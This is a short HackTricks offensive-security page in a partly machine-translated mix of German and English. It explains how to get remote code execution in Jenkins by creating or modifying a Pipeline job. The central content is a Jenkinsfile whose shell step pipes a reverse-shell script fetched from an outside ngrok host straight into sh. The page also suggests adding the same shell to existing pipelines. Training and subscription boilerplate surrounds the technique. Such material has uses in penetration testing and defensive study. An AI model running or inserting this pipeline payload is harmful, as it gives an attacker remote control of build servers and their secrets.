Jenkins RCE Creating/Modifying Pipeline

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

• Überprüfen Sie die Abonnementpläne!

• Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.

• Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.

Erstellen einer neuen Pipeline

Wählen Sie in "Neues Element" (erreichbar unter /view/all/newJob) Pipeline:

Schreiben Sie im Pipeline-Bereich die Reverse Shell:

pipeline {
agent any

stages {
stage('Hello') {
steps {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
'''
}
}
}
}

Finally click on Speichern, and Jetzt bauen and the pipeline will be executed:

Modifizieren einer Pipeline

If you can access the configuration file of some pipeline configured you could just es ändern, indem du deine Reverse-Shell hinzufügst and then execute it or wait until it gets executed.

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the Abonnementpläne!

• Tritt der 💬 Discord-Gruppe or the Telegram-Gruppe or folge us on Twitter 🐦 @hacktricks_live.

• Teile Hacking-Tricks, indem du PRs zu den HackTricks and HackTricks Cloud GitHub-Repos einreichst.